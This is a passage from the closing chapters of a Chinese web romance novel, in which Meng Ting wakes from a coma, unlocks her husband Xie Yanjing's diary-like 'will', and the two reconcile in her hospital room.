国内打了好几通电话过来,都是让谢砚京酌情处理,最好能引渡至国内低调处理。 但这些要求,无一例外,全都被谢砚京拒绝。 谢家不少人因此动了怒,再加上他动用关系找人的事情,更是让所有人都骂上他一句不知天高地厚,任意妄为,薄情寡义,不孝不悌。 但谢砚京丝毫没有动容。 他熟知各国律法,更知道那藏在律法之后的权利和世故,只有在当地判决,才能让谢智受到最严苛的惩罚。 谢钰走进去的时候,谢砚京正陷在病床旁的座椅里,连日寸步不离的陪护,让他整个人都疲惫至极,但是看到想要进来换班的谢钰,他丝毫没有要让开的意思。 “人找来了吗?” 谢钰应了声,想问点什么却欲言又止。 这几天谢砚京几乎断绝了所以联系,唯一联络的,就是医生。用完自己的人脉还觉得不够,又让谢钰帮了忙。 谢钰知道这其实是徒劳。 现在的医学技术再发达,也没法判断一个人什么时候醒来,或许是一天,或许是一个月,或许是一年……现在唯一能做的,就是等。 可谢钰知道这是他的执念,所以能请的医生,都帮他请到。 “老迟联系的那几个医生刚刚到了,正在办公室和医生会诊。” 听到谢钰应声,谢砚京紧皱的眉头才稍微放松了些,抬起疲惫着布满血丝的眼眸,淡声回了句,“辛苦堂姐。” “小云呢?”他又想起什么似的补充了一句。 孟汀昏迷着,他算是孟云溪最亲近的监护人,所以每天除了照顾孟汀,孟云溪的事情也要处理。 谢钰:“小云恢复的很好,医生说再过两天就可以做发声练习了,就是这几天食欲不太好,但也在努力吃饭。” “我帮她联系了国内的老师和同学,新学期刚开始,老师教学的进度也不快,精神好的时候,她会拿出那些资料看一看。” 孟云溪和孟汀不在同一个医院,她术后不能出院,所以孟汀昏迷之后,她一直没能过来。 说起这个谢钰是真的感慨。 孟家的女孩真是一个比一个坚强,她根本想不到,如果这些事情发生在她身上,她会怎么样。 在那样的家庭长大,饱受漠视和轻视,但她们既没有怨天尤人,也没有消沉堕落,反而一天天茁壮成长,最终开成了荆棘上的花。 就凭这一点,她相信孟汀一定会醒过来。 可这样的大道理,她不能给谢砚京讲。 他是怎样的一个人,又怎么会不知道这样的道理。 谢砚京听到后沉默地点了点头,接着站起来身,拖着疲惫的身子走到窗台边,将窗帘拉的更大了些。 四月份,春天已经彻底来了。街道两旁的樱花一枝枝累下来,微风吹过时,落下一片簌簌花雨。 丰沛充盈的阳光款款落下来,将病房内照的亮堂堂的,落在他清隽的面容之上。 平日里高大的身影,却莫名显出几分落寞。 谢钰尝试着劝道:“今天天气很好,要不要出去走走?” 谢砚京很勉强地勾了下唇,冷淡的声音中,带着不容置喙:“不用了。” 预想之中的答案,但谢钰并没有被拒绝的冒犯,沉吟半晌后,斟酌着开了口:“可是今天……是你三十岁生日啊。” 听到这,男人原本冷淡的眸光,忽然动了动。 第73章 谢钰并不是刻意提出这句话,只是因为三十岁,在谢家有着特殊的传统。 谢氏作为江南大族延续至今,保留了些过去的传统,在一些特殊年岁时会有一些特殊传统。比如男子三十岁的而立之年,按照谢家的规矩,要带着妻子儿女回家,开祠堂,祭拜祖先,既是总结过往的岁月,也为后续的发展祈求上天庇佑。 虽然近些年这些传统虽然没有从前那么隆重繁杂,但也会象征性的庆祝一下。 而且这些年讲究平权,无论是入祠堂,还是特殊节点性的日子,男生女生基本没有什么差别。 前两个月,谢钰过三十岁生日时还带着迟珩屿回了趟谢家祖宅,甚至从老爷子那里得了一对老黄玉镯子。 谢砚京因为谢钰的话,神情短暂凝滞了几分。 倒不是因为谢家这个传统。 而是因为,他想起很久之前的一件事。 那是一个下雪的冬夜。 他刚刚结束了欧洲的例行出差,准备返回望公馆。 飞机因为雪天晚点了不少。 他回到望公馆时,孟汀早已经到了。 大概实在是等的累,她干脆打开电视,看起了一档综艺节目。 孟汀平日里其实不大看这种节目,她的娱乐生活其实很枯燥单一,而且总是带着很明显的学习意图,比如说舞蹈类的电影,或者能增加知识的纪录片。 那天倒是有些奇怪,她看的竟然是一档韩国拍摄的综艺节目,不仅看的津津有味,甚至连他进门都没有察觉。 节目的内容进行到了一场测试。 节目组列出了十五个问题,要求在场的嘉宾做出选择,最后根据问题的综合评分,来给出一个和他们性格匹配的人生规划指南。 谢砚京换好鞋子进门的时候,孟汀正跟着嘉宾一起专心致志地做着测试,他没打扰,只默默地坐在了一边。 等到孟汀在手机上算好了分数之后,屏幕上各种人生指南也分出来了。 孟汀这时候才注意到身边的谢砚京。 她有些不好意思地回望他一眼,他则示意她继续。 窗外飞雪飘飘,寒风凛冽。室内灯火溶溶,还有她在路上带回来的的糖炒栗子的香味。 她分给他一把栗子,然后和他一起细细查看了她可能的人生。 根据节目设置的问题,孟汀测出来是C型人生。 里面给出的规划是这样的: 二十岁努力奋斗,积攒一笔资金,三十岁的时候,买漂亮的鞋子和包包,四十岁时去大自然中徒步,五十岁时可以养一只小狗或者小猫,等到六十岁,去放声歌唱,七十岁,去见见一面便少一面的朋友,八十岁,要开始吃健康餐,九十岁,和伴侣一起留下自画像…… 小姑娘一行一行地看完,大概是没想到最后会提到和伴侣的事情,耳尖很明显地红了一瞬。 大概是不好意思,她匆忙地找话题:“我可以倒回去,你也测测看吧。” 谢砚京回答:“不用。” 节目中嘉宾们热热闹闹,插科打诨地聊着属于自己的人生,两人之间的对话也就这样被一概而过。 听上去略显冷漠的一个回答,谢砚京也不知道她当时心中会不会因为她的拒绝而抵触。 现在想来,其实他心中是有答案的。 是一个不需要测试就能确定的答案。 三十岁,他这么快就到了三十岁了…… 谢砚京也不知道自己为什么要对这个数字这样感慨,若非要找理由,大概是因为从看到答案的那一刻起,他就决定了,要和她过一样的人生。 是从那时开始吗? 谢砚京从病房里走出来,走到天台的吸烟区。 他低下头,牙齿轻轻咬着烟头。银质打火机咔哒一声,橘黄色的火光骤然亮起,点燃那双漆黑色双眸。 淡淡的烟雾飘散开,又随着风灌进他的肺腑。 他抖了抖指尖的烟灰,想起更早时候的事情。 他很小的时候,曾经患过很严重的厌食症。 名门望族的天之骄子,家族最负众望的天才少年,要肩负起家族沉重使命的下一代。 这些在外人听起来光鲜亮丽的名头,对于一个成年人来说,都足够沉重,更何况一个孩子。 上天赋予他天生的责任感和使命感,但是完成完成这些使命和责任的能力,却需要后天培养。 没有人是天生的完美的人。 所以他逼着自己强大,逼着自己坚韧,逼着自己克己,逼着自己严肃和深沉,逼着自己将一切个人想法,都排除在这条完美之路的身后。 他没有任何可以倾诉的对象。 他的父辈都是这样过来的,他的母亲连每日的交际都应付不过来,从不和他沟通。他身边每天围绕着各种各样的人,嘈杂,喧嚣,热烈,但是真正听过他说话的人,几乎没有。 症状就是那时候出现的。 最严重的那一周,他除了喝水,几乎吃不下任何东西。 那一周是久违的家族聚会。 饭桌上很热闹,家族长辈称赞他气度不凡,才华横溢,卓尔不群,前途无量。族中小辈投来尊重艳羡的目光,就连几位年长他好几岁的几位x小叔,都客客气气地过来同他敬茶攀谈。 但没人知道,面对那一桌琳琅满目的佳肴时,他是怎样的心情。 他强打着精神完全了宴会,却在独自下楼时出现了症状。 他在空无一人的楼道里碰到了那个小女孩。 她穿了件简单大方的白裙子,裙角绣着两只灵动而漂亮的小鱼,手里拿了件包装的很漂亮的小盒子,肤白胜雪,弯眉杏眼,清浅的天光落在她身上,既柔软又明亮。 本来两人应该擦肩而过的。 可就在她即将离去的时候,他终于撑不住了,直挺挺地往身旁的栏杆倒去。 小姑娘一开始被吓了一跳,可她并没有慌张,立刻放下手中的东西,跑过来喊了他一声:“哥哥。” 他从来没有在一个人面前这样失态,更何况还是一个比他小了好几岁的小姑娘。 他坚持着撑起身,面对小姑娘担忧的面孔,只说自己可能是低血糖。 小姑娘的眉头这才松快了些,暂时松开了扶着他的手。 他以为她会就此离开。 却没想到,再次睁眼时,一个白皙的掌心在他面前展开,里面躺着两颗糖果。 她看着他,眉眼里透着倔强和认真。 “我妈妈说头晕的时候吃这个,会很有效。” 说完之后,她似乎是怕他没有力气,竟然直接剥开了外皮,要直接喂给他。 他垂下眼睫,沉默了一会儿。 偏偏她固执的不行,一脸焦急的仿佛他快要死掉,又强硬地往前塞了塞。 他这才开口了。 甜津津的,草莓味。 唇齿间被这股奶香覆盖,原本混沌的思绪也跟着清醒了不少。 他这辈子再也没有吃过那样的糖果。 直到现在,他想起那一幕,都觉得不可思议。一个小她四岁的小姑娘,却像一个长辈一样照顾着他,确认他好一点后,又语重心长地嘱咐:“哥哥,你要好好吃饭,好好休息。” “这样才能好好长大。” 好好长大。 这四个字,他听到了,记住了,也践行了。 就这样,他平安无事地度过了少年时期,来到二十岁。 在熙园的第一眼,他就认出了她。 她长高了,也瘦了,但那双亮晶晶的,像是小鹿一样的眼睛,和从前一模一样。 她吃了很多苦,受了很多委屈,却依然真诚,很善良,也对未来充满着希望,她践行着自己对他的要求和希望,但是命运却总是无情地将她推向相反的方向。 她不得已了,才泪眼汪汪地喊了他一声“哥哥”,跟着她离开了熙园,来到了京市。 原来这么快,就已经十年了吗? 三十岁…… 他嘴角扯出一抹牵强的笑意。 苍白色的烟雾在眼前升起又飘散,将他那冷淡却清隽的面容隐在其后,苦涩的茶香在唇齿间蔓延开来,吐出去时,那愁绪却一点儿也没有跟着飘散。 这十年又是怎么过来的? 她一直以为自己是在还债吧。 她以为是她离不开他,以为她所做的一切,都是为了生存,为了在这个冰冷的世界活下去。 可是她不知道的。 一直以来,或许都是他离不开她啊。 谢钰不放心他,也跟着他上了天台。 她以为自己这句话能让他稍微分散一下注意力,她觉得谢砚京就算买个蛋糕,点个蜡烛许个让孟汀醒来的愿望,也好过一直沉闷地待在医院里。 但好像事与愿违。 原本压抑在他眉心处的那股沉郁的气息越发明显了,她现在已经不知道说什么是对他好,什么是对她不好了。 就在她犹豫着准备开口时,楼下的李叔忽然推开天台大门,快步而来。 他脚步匆忙,神色严峻,眉眼中带着很明显的焦急:“少爷。” 谢砚京抬了眸:“是孟汀的事吗?” 李叔连忙摇头,“夫人她……暂时还没有醒来,但是……” 他飞快地将前因后果讲了一遍,谢砚京的面色阴沉的更明显了。 第74章 微风轻轻吹过窗户,月光像流水一样倾泻进来。 眼前骤然亮起一阵白光。 原本模糊的是由模糊到清晰的景象。 垂在身侧的指尖微微一动,便被一个力度拽了拽。 “汀汀!你醒了吗?你真的醒了?!” 熟悉的女声划过空气,落入耳畔。 孟汀缓缓睁开双眼,感受着如实质般的阳光落入双眸。 依次出现在眼前的是,洁白的窗帘,款款落进屋内的阳光,还有很激动但是完全语无伦次的谢钰。 “这是真的吗?” “我简直不能相信,天啊,我太高兴了,我没弄错吧……汀汀你真的醒了啊!” 谢钰一脸不可思议,但是少女逐渐睁开的双眸是最好的证明。 “但是谢砚不在你身边啊……” “我真的没想到会这样,”谢钰显得有些有些焦虑,“这一刻他应该在的啊,怎么会这样……” “但是汀汀,我可以给你保证,前几天他都是一刻未离地守在你身边的。” “啊啊啊啊啊为什么小说中这么狗血的事情会发生在你们之间,汀汀,你千万不要误会啊,事情不是你想象中的那样……” 谢钰站起来嘟哝了好一会儿,才想起了件更重要的事情,赶紧按了铃喊医生。 孟汀还处于感官恢复状态,只断断续续听到谢钰“怎么会这样”的质问。 其实她也不知道为什么会这样。 那场梦真的做了太久太久。 有那么一瞬间,她真的觉得自己再也不会醒来了。 可就在她平静地准备接受这一切时,一切又发生了翻天覆地的变化。 就像是在不断下沉的流沙当中,忽然伸出一只大手,将她紧紧托住。 一阵微风拂过,将记忆中那股冷清透骨的腊梅香吹到她的鼻尖。 她看到站在浅淡天光下,那个像是翠竹一般挺拔,茁壮生长的哥哥。 她想起她在绝望到走投无路时,拉着他是衣袖时,他没有像曾经族中的小孩一样,嫌弃地甩开她的手。 她想起那个她本该独自度过的平安夜,他等在望公馆门口的夜色中,和送给她的那个雪花灯球。 她想起他给说说过无数遍的“早安”和“晚安”。 她想起他在雨天时撑在她头顶的那柄黑色雨伞。 …… 她觉得自己不能就这样沉下去。 李叔说望公馆的玉兰花开了,她还想去看看,谢书语捡到的流浪小猫还没有家,他们要给小猫一个家,她还有即将康复的妹妹,她还从来没听到过她的声音,她一定和妈妈一样,拥有一把能将一切烟火气都褪去的好嗓子…… 那种摇摇欲坠支离破碎的感觉,像是流沙一般从她身边消逝而去。她的双脚则紧紧地踏实在地面上。 落地了。 不只是那么一瞬间。 像是很多年,很多年的虚空感,被填满了。 落地了。 走进了,她才看清那个托着她的模糊身影。 高大俊朗,清隽独立,迈出去的每一步都足够有力,投射出去的每一寸目光,都足够坚定。 是他。 那个从很早很早开始,就陪在她身边的人。 直到现在,依然陪在她的身边。 …… 听到消息的医生匆匆赶来,给孟汀做了个全身检查。 看到主治医生那慢慢弯起的唇角和不断点头的肯定神态,所有人的心也彻底放了下来。 医生说,除了一些皮外伤和轻微骨折,这场意外并没有对她的大脑和认知造成任何实质性的损伤。 谢钰第十次向医生确认:“所以说,我们汀汀既不会失忆,也不会记忆错乱,更不会损伤智力?” “而且她骨折的部分,也不会影响她以后的舞蹈生涯?” 医生说了不下十次“definitely”后,谢钰才终于放下心来,放医生离开。 只不过医生临走之前强调,孟汀因为刚刚清醒过来,精神状态不太稳定,一时间不能接受太多信息,尤其是会造成刺激性的消息。 谢钰只好选择性地同她聊最近的一些事情。 谢钰说孟云溪的手术非常成功,各项指标都在合格范围内,也没有造成任何后遗症,这两天,她已经在医生的指导下开始做发生训练了。 她说她的室友赵一茜和余琳得知她出车祸后很担心,每天路过医院时,都要来进来看看她,两人还连夜折千纸鹤,就为了在第一千只折成时许一个让她醒来的心愿。 她说谢贝琳本来一点儿也不喜欢学校的祷告活动,现在每次都按x时参加,只希望孟汀能早点醒来…… 孟汀听得心里暖暖的,从大桥上坠落的那一刻,在她记忆中凝固的痛苦的坚冰,也一点点融化了。 看到孟汀的情绪并没有医生提前警示过的过激症状后,谢钰才说起谢砚京。 谢钰解释说谢砚京是因为谢书语的意外才回了国。 谢书语在不久前出现了先兆流产的症状,而且产检情况很不乐观。 一直顺风顺水的小姑娘哪里受过这种委屈,一开始还是小打小闹,最后也不知道触发了什么导火索,竟然闹到了跳楼的程度。她妈妈哄不下,怕真的出了什么意外,实在没办法了,才请谢砚京回去。 “谢书语没事,”谢钰语重心长道,“孕期激素情况不稳定,对心情的影响也很大,倒是为难她了。 “不过这次其实还是梁大夫出了力,三天三夜不眠不休地守在谢书语身边,总算把孩子保住了。” “而且这次他竟然开了窍,在谢书语醒来后,当场给谢书语求了婚。” 谢钰是谢书语在家族中为数不多关系要好的姐妹,也是亲戚中为数不多知道她和梁叙纠葛的人。 梁叙什么都好,就是思来想去的内耗太多,非要到这种危急存亡的关头,才豁出去似的表露了心思。 吐槽完梁叙,谢钰忽然又开始感慨:“就是阿砚,他本来应该亲眼看到你醒来的。” “他也不是不得已才回国的……” 孟汀眼睫颤了颤,轻轻地捏了下谢钰的手。 她怎么可能怪他。 他是谢家的大哥哥,守护好弟弟妹妹是他的责任,如果谢书语真的出了事情,他才会后悔,他能陪伴在她身边这么久,她已经足够满足。 两人之间短暂沉默了一下。 谢钰低头看手机,想知道谢砚京这会儿到哪儿了。 孟汀则想起另外一件事。 虽然心中已经有了个答案,但她还是想确认一下。 孟汀让谢钰帮忙找到了她的电脑。 这台是她从国内背来的电脑,去学校的当天,她只带了平板过去,暂时将电脑放在了孟云溪的。 也因此,电脑逃过一劫,并没有随着车子翻入水中。 谢钰虽然不清楚她要做什么,但还是配合着把电脑拿过来了。 孟汀打开电脑,找到了当初周严发现的那个加密文档。 谢钰不解地凑了上来,“这是什么?” 孟汀没回答,只是尝试着在密码框内输入数字。 0923。 但是系统提示输入错误。 孟汀眉头微拧了下,陷入了沉思。 接着,她凭着回忆,再次输入了一个数字。 0125。 但系统依然提示错误。 孟汀有些不解了。 既不是结婚纪念日,也不是他们在熙园第一次见面的日子。 那会是什么呢…… 谢钰还以为孟汀在检验自己的记忆力,所以才打开了个软件尝试。 但是小姑娘试了两次,好像都没有成功,正愁眉苦脸地思索着。 她吓了一大跳,生怕是孟汀的记忆力出现了问题,正准备起身去喊医生呢,手腕忽然被一个力度轻轻地拽了下。 孟汀:“堂姐,你还记得上次我们在你家看到的那张照片吗?” 谢钰没想到她会提起这个,茫然地点了点头。 孟汀:“照片右下角的日期,是0719吗?” 谢钰茫然地眨了眨眼:“你说那个小叔叔的婚礼吗?那几天似乎一直在下雨,应该是夏天。” 孟汀默默地深呼吸一口气,将这几个数字再次输入。 这次,界面没有像从前那样弹出错误提示,而是弹出一个文档。 画面迪定格的一瞬间,孟汀的心也跟着凝滞一瞬。 真的是那一天…… 原来那天,她不是和他擦肩而过。 原来她那天喊的“哥哥”,就是谢砚京。 原来他……一直记得那一天。 谢钰也没想到密码会是这个数字,拧着眉思考了好一瞬,出声提示:“汀汀,打开了。”x 孟汀回过神,打开了那个文档。 但两人的目光,几乎是同时凝滞住。因为那个文档的名称是:遗书。 * 心跳像是澎湃有力的鼓声,一下又一下。谢钰觉得这是两人的隐私,早都找了个借口离开了。此刻病房内,只剩下孟汀一个人。 房间内安静地只能听到自己的心跳声,顺着文字看下去之后,这心跳不仅没有平缓的趋势,反而跳动的越来越快。 只不过,这真的……能叫遗书吗? 她能想象出他是会用日记这种独特方式代替遗书告别这个世界的人,却没想到,这日记中的每一天,都会和她有关。 201x年x月x日 离家的第二十天,轮渡行驶在瑞玛港口。又是紧张的一天,文稿,修改,发言,汇报……但是傍晚时的黄昏很好看,有些想她。 201x年x月x日 昨夜刮了一晚上的风,幸好船长足够有经验,水手说,只差那么一点儿,所有人都可能葬身大海了。给她发了晚安的消息,但是没有回复。 201x年x月x日 寄了一封明信片。应该会收到的吧。 201x年x月x日 又是被威胁信恐吓的一天,但是再过一周,就是纪念日了。这么快就已经一年了吗,明明在记忆中,她还是个小姑娘啊…… 201x年x月x日 在尼亚和海西的交界处,徒步穿过大溪谷,阳光从瀑布的间隙穿过,脚步暂停一瞬,忽然有些想她。下一次,应该是和她一起。 201x年x月x日 今年只见了不到四次,每次的时间不超过三天。 201x年x月x日 第二年纪念日了。港口的风很温柔,但是也不及那记忆中的眼眸。 201x年x月x日 又一年的春天到了,要去见一面了。《 》 【正文完】 第75章 飞机越过地平线,穿云而过,向着被落日熔成金边的云海深处行驶而去。 干净明亮的舷窗外,云层像是一簇又一簇的棉花,映着色彩斑斓的霞光。 带着谢砚京登机之前,李叔其实还是很紧张的。 因为这还是他第一次给谢砚京定这样的廉价航班。 古早到机器都打印不出来的软质登机牌,拥挤到一个人都无法通过的走道,连白开水都不会提供的服务。 乘务人员唯一需要负责的,就是推销商品。 从飞机起飞的那一刻,到前半程的时间,乘务员售卖的东西,从纸巾,牙刷,毛巾,现在已经到了牙签,拖鞋,还有锅碗瓢盆。 但这是飞往伦敦最快的一趟航班。 本来他是准备调公务机的,但是算下来时间要比这一趟航班晚了一个小时,这个提议便被谢砚京当场否决。 但好在,谢砚京的情绪没有他想象中那么糟糕。 怎么可能糟糕! 云溪小姐的手术成功,书语小姐母子平安,最重要的是,孟汀小姐已经清醒了过来,听说状态比医生预期的结果好了不少…… 而且他们两人经历了这么多,也该重修于好了。他等了那么久,也该给他一个CP粉的美好结局了吧,等到孟汀小姐回来,望公馆里不会再只有一张八风不动的冷脸,气氛应该也不会那么压抑,氛围轻松一点儿,他心情也好,心情好的话人就会长寿,他退休之后,说不定还能多领那么几年的退休金…… 想着想着,甚至不自觉地笑出了声。 若是平时也罢了,偏偏今天,他和谢砚京坐的都是经济舱,还是邻座! 果不其然,下一秒。 谢砚京:“有什么高兴的事儿吗?” 李叔立刻收了下情绪,他当然不能提退休金和冷脸的事情,立刻将自己的目光放在不远处的乘务员身上,打着哈哈转移话题:“没什么事,就是觉得这趟航班卖的东西还挺齐全的。” “先生您有需要的东西吗?比如正在介绍的这个……” 李叔刚刚其实根本没在听,直到现在才竖起耳朵,仔细听了几句,只听乘务员正在激情洋溢地介绍着:“这款草莓凸点的tt采用最新技术,安全可靠,材料放心,能满足各种各样的需求……” 谢砚京:“……” 李叔:“……” 这到底是什么航班,怎么什么东西都卖,到底能不能把他们安全送到目的地! 他尴尬的不行,但是身旁的谢砚京倒是很快淡定了下来。 提到买东西,他确实想起来一件事。 李叔的备忘录里,很快收到一条新的日程安排。 “这是……?”看到那条日程的瞬间,李叔怔了一瞬。 直到对上谢砚京那确定x无疑的目光,他才笃定地点了点头,表情像是在说,您放心。 * 病房中,读完文档中的最后一段文字时,天光已经完全落了下来。 璀璨的夕光像是一抹艳丽的焰火,在天边静静燃烧。 落日揉碎了一把金光,静静地落进晚风中。 又一年的春天到了。 很难想象,她会在一个春天的黄昏,读一封来自自己丈夫的遗书。 可她又觉得自己很幸运,能在这样一个黄昏,读丈夫的遗书。 目光依然落在屏幕上,眼角的泪水,却不自觉地流淌下来。 明明她的心里很暖很暖,心底很软很软,可还是经不住泪流满面。 三年,一千多个日夜,一千多个落笔的瞬间。 原来她以为自己独自走过的那些日子,一直有人在和她并肩前行。 她不知道他写下这些文字时,不知道在那些未眠的夜里,在和相隔千里的远方,怀抱的会是怎样的心情。 但孟汀知道,此刻的她,很想他。 很想,很想他。 没有理由地想他,毫无目的地想她。 手机是谢钰给她带来的,通讯记录里的联系人全部清零,但是那个号码,却熟稔到在睡梦中都能背出。 曾经无数次想要拨出去而犹豫的心情,在这一刻终结。 他这么多年给她带来的,或者说教会她的勇气,在这一刻付诸实现。 她解锁屏幕,平静地输入数字。 而就在准备拨出去的那一瞬间,病房的大门,打开了。 扭头的瞬间,握着手机的手怔怔地落下。 他逆着光而来,极高的个子,立在灯火和昏暗交界处,模糊的光影勾勒出熟悉的轮廓,比她从前看到的任何时候,都要深刻。 时间像是在那一刻停止住。 四目相对的瞬间,很难说清楚谁的情绪更加复杂一些。 最终,还是那人低哑着声音,喊了一句:“汀汀。” 明明是听过无数遍的嗓音,却在这一次,彻底让她承受不住。 眼泪如决堤的洪水般,滴吧滴吧地落下来。 “哭什么?” 此时的谢砚京,才终于迈开略显僵硬的步伐,走到她的身边。 他垂下眼睫,轻轻抬起的指尖,刮了一下她眼睫下晶莹的泪珠。 “对不起……” “真的对不起……” 孟汀低着声音,几乎要语无伦次。 谢砚京却将她一把揽在了怀里,用一种几乎强硬的方式制止住她的自责。 “说什么对不起。” “明明该说对不起的,是我才对。” “从认识的第一天开始,我就发过誓要保护你,可是现在呢?”他苦笑一声,语气中透了种深深的自责和悲凉,“我宁愿被威胁的,落水的,是我自己。” 而她几乎从来没听过他说这样多的话。 “你说的对,曾经让你遍体鳞伤,摇摇欲坠的,也是我。” 他像是在政治战场一样,用应对对手的方式,尖锐而又深刻地剖析着自己。 她跟着他时,太小了,实在是太小了。 他不是没有从她眼中看到过期待的眼神,可他宁愿告诉自己,那是一种错觉,也不敢大大方方的承认。 她迟早会长大,迟早会拥有自己的人生。十几岁喜欢的人,不能成为二十岁评判的标准,也不能成为时三十岁时幸福的肯定,更不可能是四十岁时不悔的决定。 他是朝她伸出过援助之手,可他拉着她走出深渊,是希望她拥有自由的人生,而不是让那成为禁锢着她人生的枷锁。 就像养一只蝴蝶,它美丽而高贵的羽翅,不该是被他孤独地欣赏,而是该被托举着飞翔。 可到最后,他发现,他还是割舍不了。 已经融入生命的那一部分,怎么能轻易割舍。 所以他学会了占有,学会了强硬,学会了掌控。 再坚强的人,也渴望被爱。 到最后,连自己也分不清这到底是禁锢还是自由,是强迫还是爱意,是自私还是深情。 孟汀听着这些独白,深深地望着那双她无数次注视过的双眸。 原来他的痛苦,比她想象中的还要再多一份。 若不是常年来的坚持和克己,那双深邃的眼眸中,该是会落泪的。 寂静的灯火缓缓落下,在他清隽的面容上,铺上淡淡的一层,孟汀看着眼前的男人,心中像是泛起一阵波涛汹涌的海啸。 就在这间隙之中,一直沉默着的小姑娘,轻轻出声:“可是不是禁锢,该由我决定,不是吗?” 下一秒,她仰起头,第一次,主动地,沉沉地吻住了他。 她曾经犹豫过,彷徨过,直到在那场差点没有醒来的睡梦中,才感受到真正的后悔。 所以这一次,她想试一试。 就算是惩罚,也该是她惩罚他才对吧? 或许是这个理由,让她在此刻迈出这一步。 也或许是因为,她相信一句话—— “爱从来都不是困住灵魂的枷锁,而是通往幸福的道路。” * 温热的呼吸在耳边紧紧缠绕,轻柔如花朵般的舌瓣,却有能撬开齿关的力量。不知道是泪水还是汗水,顷刻间覆了满面,那样艰难的呼吸当中,她却感受到一种万物复苏的蓬勃生机,只要再靠近一寸,便是鸟语花香,春日琳琅。 黄昏的风彻底吹过,夜色像是流水般缓缓流入,一轮明月慷慨无私的高悬,在地上洒下一片最纯粹却真挚的辉光。 他起初是不可思议。 直到感受到那个柔软却不容抗拒的力度之后,才彻底接受了她的吻。 到后来,也不知道是谁主动。 宽厚的掌心覆上她的脸颊,炽热的呼吸如细密的网一样撒下。 他抚过她如花瓣一样柔软的脸颊,抚过轻盈如蝶翼般的耳尖,最后深深地落在那温暖的颈侧。紧绷的肌肉沾满了汗水,冷白的皮肤下青筋凸起,骨骼分明,舌。尖扫过他所能到达的每一个角落,像是落下一场淋漓尽致的大雨。 他感受着她的温度,感受着她的心跳,感受着几乎要两人两人都要融化在其中的烫意。 尽管是在病房中,他还是一遍又一遍喊着她的名字,像是在这不断的重复中确认什么着什么一样。 直到最后,直到在那撕磨到不能再尽一步的耳鬓,他终于落下那一道迟到了许久的话。 “汀汀。” “给我个爱你的机会。” 他低声呢喃着,却带着种属于他独有的坚定。 ——正文完—— 作者有话说:一个说明:上一章结尾小修了一下,遗书内容在上一章。 以及,正文到这儿就结束了,剩下的求婚,婚礼,以及婚后的甜甜日常就是番外啦~《 》